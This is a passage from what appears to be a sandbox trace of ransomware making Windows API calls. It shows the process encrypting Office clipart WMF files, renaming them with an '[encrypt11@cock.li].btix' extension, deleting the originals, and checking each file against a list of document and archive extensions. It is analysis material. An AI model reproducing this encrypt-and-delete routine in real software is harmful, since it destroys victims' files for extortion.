Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.943] lstrlenW (lpString=".1cd") returned 4 [0147.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0147.943] lstrlenW (lpString=".jpg") returned 4 [0147.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.944] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.944] lstrlenW (lpString="HH01058_.WMF") returned 12 [0147.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.944] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=2756) returned 1 [0147.944] CloseHandle (hObject=0x38c) returned 1 [0147.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0147.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.944] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.944] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.945] GetLastError () returned 0x0 [0147.945] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xac4, lpOverlapped=0x0) returned 1 [0147.945] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xad0, lpOverlapped=0x0) returned 1 [0147.946] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.946] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.946] SetEndOfFile (hFile=0x390) returned 1 [0147.947] CloseHandle (hObject=0x390) returned 1 [0147.947] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.947] SetEndOfFile (hFile=0x38c) returned 1 [0147.947] CloseHandle (hObject=0x38c) returned 1 [0147.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0147.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.948] lstrlenW (lpString=".doc") returned 4 [0147.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.948] lstrlenW (lpString=".docx") returned 5 [0147.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.948] lstrlenW (lpString=".pdf") returned 4 [0147.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.948] lstrlenW (lpString=".xls") returned 4 [0147.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.948] lstrlenW (lpString=".xlsx") returned 5 [0147.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.948] lstrlenW (lpString=".ppt") returned 4 [0147.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.948] lstrlenW (lpString=".zip") returned 4 [0147.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.948] lstrlenW (lpString=".rar") returned 4 [0147.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.948] lstrlenW (lpString=".bz2") returned 4 [0147.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".7z") returned 3 [0147.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.949] lstrlenW (lpString=".dbf") returned 4 [0147.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.949] lstrlenW (lpString=".1cd") returned 4 [0147.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.949] lstrlenW (lpString=".jpg") returned 4 [0147.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.949] lstrlenW (lpString=".doc") returned 4 [0147.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".docx") returned 5 [0147.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.949] lstrlenW (lpString=".pdf") returned 4 [0147.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".xls") returned 4 [0147.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.949] lstrlenW (lpString=".xlsx") returned 5 [0147.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.949] lstrlenW (lpString=".ppt") returned 4 [0147.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.949] lstrlenW (lpString=".zip") returned 4 [0147.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.949] lstrlenW (lpString=".rar") returned 4 [0147.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".bz2") returned 4 [0147.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.949] lstrlenW (lpString=".7z") returned 3 [0147.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.950] lstrlenW (lpString=".dbf") returned 4 [0147.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.950] lstrlenW (lpString=".1cd") returned 4 [0147.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0147.950] lstrlenW (lpString=".jpg") returned 4 [0147.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.950] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.950] lstrlenW (lpString="HH01065_.WMF") returned 12 [0147.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.950] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=1268) returned 1 [0147.950] CloseHandle (hObject=0x38c) returned 1 [0147.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220 [0147.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.951] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.951] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.951] GetLastError () returned 0x0 [0147.951] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x4f4, lpOverlapped=0x0) returned 1 [0147.952] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x500, lpOverlapped=0x0) returned 1 [0147.953] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.953] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.953] SetEndOfFile (hFile=0x390) returned 1 [0147.953] CloseHandle (hObject=0x390) returned 1 [0147.953] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.953] SetEndOfFile (hFile=0x38c) returned 1 [0147.954] CloseHandle (hObject=0x38c) returned 1 [0147.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.954] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0147.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.954] lstrlenW (lpString=".doc") returned 4 [0147.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.954] lstrlenW (lpString=".docx") returned 5 [0147.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.954] lstrlenW (lpString=".pdf") returned 4 [0147.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.954] lstrlenW (lpString=".xls") returned 4 [0147.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.955] lstrlenW (lpString=".xlsx") returned 5 [0147.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.955] lstrlenW (lpString=".ppt") returned 4 [0147.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.955] lstrlenW (lpString=".zip") returned 4 [0147.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.955] lstrlenW (lpString=".rar") returned 4 [0147.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString=".bz2") returned 4 [0147.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString=".7z") returned 3 [0147.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.955] lstrlenW (lpString=".dbf") returned 4 [0147.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.955] lstrlenW (lpString=".1cd") returned 4 [0147.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.955] lstrlenW (lpString=".jpg") returned 4 [0147.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.955] lstrlenW (lpString=".doc") returned 4 [0147.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString=".docx") returned 5 [0147.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.955] lstrlenW (lpString=".pdf") returned 4 [0147.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.955] lstrlenW (lpString=".xls") returned 4 [0147.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.956] lstrlenW (lpString=".xlsx") returned 5 [0147.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.956] lstrlenW (lpString=".ppt") returned 4 [0147.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.956] lstrlenW (lpString=".zip") returned 4 [0147.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.956] lstrlenW (lpString=".rar") returned 4 [0147.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.956] lstrlenW (lpString=".bz2") returned 4 [0147.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.956] lstrlenW (lpString=".7z") returned 3 [0147.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.956] lstrlenW (lpString=".dbf") returned 4 [0147.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.956] lstrlenW (lpString=".1cd") returned 4 [0147.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68 [0147.956] lstrlenW (lpString=".jpg") returned 4 [0147.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.956] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.956] lstrlenW (lpString="HH01080_.WMF") returned 12 [0147.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.956] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=5000) returned 1 [0147.957] CloseHandle (hObject=0x38c) returned 1 [0147.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220 [0147.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0147.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.957] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.957] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0147.957] GetLastError () returned 0x0 [0147.957] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x1388, lpOverlapped=0x0) returned 1 [0147.958] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x1390, lpOverlapped=0x0) returned 1 [0147.959] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0147.959] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0147.960] SetEndOfFile (hFile=0x390) returned 1 [0147.960] CloseHandle (hObject=0x390) returned 1 [0147.960] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0147.960] SetEndOfFile (hFile=0x38c) returned 1 [0147.961] CloseHandle (hObject=0x38c) returned 1 [0147.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0147.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1 [0147.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.961] lstrlenW (lpString=".doc") returned 4 [0147.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.961] lstrlenW (lpString=".docx") returned 5 [0147.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.961] lstrlenW (lpString=".pdf") returned 4 [0147.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.961] lstrlenW (lpString=".xls") returned 4 [0147.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.961] lstrlenW (lpString=".xlsx") returned 5 [0147.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.961] lstrlenW (lpString=".ppt") returned 4 [0147.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.961] lstrlenW (lpString=".zip") returned 4 [0147.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.962] lstrlenW (lpString=".rar") returned 4 [0147.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString=".bz2") returned 4 [0147.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString=".7z") returned 3 [0147.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.962] lstrlenW (lpString=".dbf") returned 4 [0147.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.962] lstrlenW (lpString=".1cd") returned 4 [0147.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.962] lstrlenW (lpString=".jpg") returned 4 [0147.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.962] lstrlenW (lpString=".doc") returned 4 [0147.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString=".docx") returned 5 [0147.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.962] lstrlenW (lpString=".pdf") returned 4 [0147.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString=".xls") returned 4 [0147.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.962] lstrlenW (lpString=".xlsx") returned 5 [0147.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.962] lstrlenW (lpString=".ppt") returned 4 [0147.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.962] lstrlenW (lpString=".zip") returned 4 [0147.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.963] lstrlenW (lpString=".rar") returned 4 [0147.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.963] lstrlenW (lpString=".bz2") returned 4 [0147.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.963] lstrlenW (lpString=".7z") returned 3 [0147.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.963] lstrlenW (lpString=".dbf") returned 4 [0147.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.963] lstrlenW (lpString=".1cd") returned 4 [0147.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68 [0147.963] lstrlenW (lpString=".jpg") returned 4 [0147.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.963] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0147.963] lstrlenW 